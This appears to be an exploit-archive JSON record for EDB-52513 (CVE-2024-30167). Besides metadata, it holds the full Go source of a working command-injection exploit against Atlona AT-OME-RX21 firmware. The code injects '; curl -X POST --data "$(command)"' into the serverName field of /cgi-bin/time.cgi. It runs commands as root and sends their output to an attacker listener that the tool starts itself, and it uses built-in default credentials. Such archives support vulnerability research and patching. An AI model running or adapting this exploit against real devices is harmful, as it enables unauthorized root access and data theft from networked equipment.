{"exploit":{"id":"EDB-52513","name":"Atlona ATOMERX21 - Authenticated Command Injection","description":"Atlona ATOMERX21 - Authenticated Command Injection","cves":["CVE-2024-30167"],"author":"rizzziom","published":"2026-04-29","platform":"multiple","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52513","path":"exploits/multiple/local/52513.go","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52513.go","vulnerabilities":[{"id":"CVE-2024-30167","state":"PUBLISHED","title":null,"titleSource":null,"description":"/cgi-bin/time.cgi in Atlona AT-OME-MS42 Matrix Switcher 1.1.2 allow remote authenticated users to execute arbitrary commands as root via a POST request that carries a serverName parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2024-30167","cvss":{"version":"3.1","baseScore":6.3,"severity":"medium","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2024-30167"},"updatedAt":"2026-05-08T14:09:36.933Z","retrievedAt":"2026-11-25T16:15:50.694Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52513.png?v=2","url":"https://exploitbin.com/exploits/EDB-52513","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52513/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52513/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"// Exploit Title: Atlona AT-OME-RX21 Authenticated Command Injection\n// Google Dork: N/A\n// Date: 2025-12-28\n// Exploit Author: RIZZZIOM\n// Vendor Homepage: https://atlona.com\n// Software Link: https://atlona.com/product/at-ome-rx21/\n// Version: Firmware <= 1.5.1\n// Tested on: AT-OME-RX21 Embedded Firmware (1.5.0, 1.5.1)\n// CVE : CVE-2024-30167\n// Usage: go run main.go -t <target_uri> -u <username> -p <password> -l <lhost> -P <lport> -c <command>\npackage main\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/base64\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/signal\"\n\t\"strings\"\n\t\"syscall\"\n\t\"time\"\n)\n\nfunc main() {\n\tbanner := `\n\n\n▄█████ ██  ██ ██████    ████▄  ▄██▄ ████▄ ██  ██    ████▄  ▄██▄ ▄██ ▄██▀▀▀ ██████\n██     ██▄▄██ ██▄▄   ▄▄▄ ▄██▀ ██  ██ ▄██▀ ▀█████ ▄▄▄ ▄▄██ ██  ██ ██ ██▄▄▄    ▄██▀\n▀█████  ▀██▀  ██▄▄▄▄    ███▄▄  ▀██▀ ███▄▄     ██    ▄▄▄█▀  ▀██▀  ██ ▀█▄▄█▀  ██▀\n\n\t\t\tPoC by: github.com/RIZZZIOM\n\t`\n\tfmt.Println(banner)\n\n\ttarget := flag.String(\"t\", \"\", \"Target URL (e.g: http://example.com)\")\n\tusername := flag.String(\"u\", \"admin\", \"Username for authentication\")\n\tpassword := flag.String(\"p\", \"Atlona\", \"Password for authentication\")\n\tlport := flag.String(\"P\", \"4444\", \"listening port for command output\")\n\tlhost := flag.String(\"l\", \"\", \"listening host for command output\")\n\tcommand := flag.String(\"c\", \"\", \"Command to execute on the target\")\n\n\tflag.Parse()\n\tif *target == \"\" || *lhost == \"\" || *command == \"\" {\n\t\tfmt.Println(\"ERROR: Missing required parameters\")\n\t\tflag.PrintDefaults()\n\t\tos.Exit(1)\n\t}\n\n\turl := strings.TrimRight(*target, \"/\") + \"/cgi-bin/time.cgi\"\n\tlistener := *lhost + \":\" + *lport\n\n\t// Buffered channel to prevent goroutine blocking if receiver exits early\n\tresponseChan := make(chan struct{}, 1)\n\n\t// Create context for graceful shutdown coordination\n\tctx, cancel := context.WithCancel(context.Background())\n\tdefer cancel()\n\n\t// Start HTTP server and get reference for shutdown\n\tserver := httpServe(listener, responseChan, ctx)\n\n\texecuteCommand(url, *username, *password, listener, *command)\n\n\tsigChan := make(chan os.Signal, 1)\n\tsignal.Notify(sigChan, syscall.SIGINT, syscall.SIGTERM)\n\n\t// Timeout to prevent indefinite waiting\n\tresponseTimeout := time.NewTimer(30 * time.Second)\n\tdefer responseTimeout.Stop()\n\n\tselect {\n\tcase <-responseChan:\n\t\ttime.Sleep(1 * time.Second)\n\tcase <-sigChan:\n\t\tfmt.Printf(\"\\n===Shutting Down===\\n\")\n\tcase <-responseTimeout.C:\n\t\tfmt.Println(\"\\n===Response Timeout - No response received===\")\n\t}\n\n\t// Graceful server shutdown\n\tcancel() // Signal context cancellation\n\tshutdownCtx, shutdownCancel := context.WithTimeout(context.Background(), 5*time.Second)\n\tdefer shutdownCancel()\n\n\tif err := server.Shutdown(shutdownCtx); err != nil {\n\t\tfmt.Printf(\"Server shutdown error: %v\\n\", err)\n\t}\n}\n\nfunc executeCommand(url, username, password, listener, command string) {\n\t// this func sends the commands to the target\n\tpayload := fmt.Sprintf(`{\"syncSntpTime\":{\"serverName\":\"time.google.com; curl -X POST --data \\\"$(%s)\\\" %s\"}}`, command, listener)\n\tauth := base64.StdEncoding.EncodeToString([]byte(username + \":\" + password))\n\treq, err := http.NewRequest(\"POST\", url, bytes.NewBuffer([]byte(payload)))\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treq.Header.Set(\"User-Agent\", \"Mozilla/5.0 (Windows NT 10.0) Firefox/143.0\")\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\treq.Header.Set(\"Authorization\", \"Basic \"+auth)\n\treq.Header.Set(\"X-Requested-With\", \"XMLHttpRequest\")\n\n\tclient := &http.Client{\n\t\tTimeout: 15 * time.Second,\n\t}\n\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\tfmt.Printf(\"ERROR: Request failed: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer resp.Body.Close()\n\n\tswitch resp.StatusCode {\n\tcase 200:\n\t\tfmt.Println(\"Command Injection Successful\")\n\tcase 401, 403:\n\t\tfmt.Printf(\"ERROR: Authentication Failed (HTTP %d)\\n\", resp.StatusCode)\n\tcase 404:\n\t\tfmt.Printf(\"ERROR: Target Endpoint Not Found.\\n\")\n\tdefault:\n\t\tfmt.Printf(\"ERROR: Unexpected Response (HTTP %d)\\n\", resp.StatusCode)\n\t\tbody, _ := io.ReadAll(resp.Body)\n\t\tif len(body) > 0 {\n\t\t\tfmt.Printf(\"Response Body: %s\\n\", string(body))\n\t\t}\n\t\tos.Exit(1)\n\t}\n}\n\nfunc getResponse(r *http.Request, responseChan chan struct{}) {\n\t// this function serves and http server and collects response\n\tif r.Method != http.MethodPost {\n\t\tfmt.Printf(\"Received non-POST Request(%s)\\n\", r.Method)\n\t\treturn\n\t}\n\tdefer r.Body.Close()\n\tfmt.Println(\"\\n=====Received Response=====\")\n\n\tbody, err := io.ReadAll(r.Body)\n\tif err != nil {\n\t\tfmt.Printf(\"Failed To Read Response Body: %v\\n\", err)\n\t\treturn\n\t}\n\tfmt.Println(string(body))\n\n\t// Non-blocking send to prevent goroutine deadlock\n\tselect {\n\tcase responseChan <- struct{}{}:\n\tdefault:\n\t}\n}\n\nfunc httpServe(listener string, responseChan chan struct{}, ctx context.Context) *http.Server {\n\t// this function gets the command injection response from the custom header\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/\", func(w http.ResponseWriter, r *http.Request) {\n\t\tgetResponse(r, responseChan)\n\t\tw.WriteHeader(http.StatusNoContent)\n\t})\n\n\tserver := &http.Server{\n\t\tAddr:           listener,\n\t\tHandler:        mux,\n\t\tMaxHeaderBytes: 20 * 1024 * 1024,\n\t\tReadTimeout:    30 * time.Second,\n\t\tWriteTimeout:   30 * time.Second,\n\t\tIdleTimeout:    60 * time.Second,\n\t}\n\n\tfmt.Printf(\"Listening on %s for response...\\n\", listener)\n\n\tgo func() {\n\t\tif err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed {\n\t\t\tfmt.Printf(\"ERROR: Server error: %v\\n\", err)\n\t\t}\n\t}()\n\n\treturn server\n}","sha256":"6503bca0fd6993c5caf22d663977eb5b585c7abcf49fc0cd9b95e5f39ba8a879","bytes":5742,"fetchedAt":"2026-11-26T11:17:42.254Z","encoding":"utf-8 (display only; download retains original bytes)"}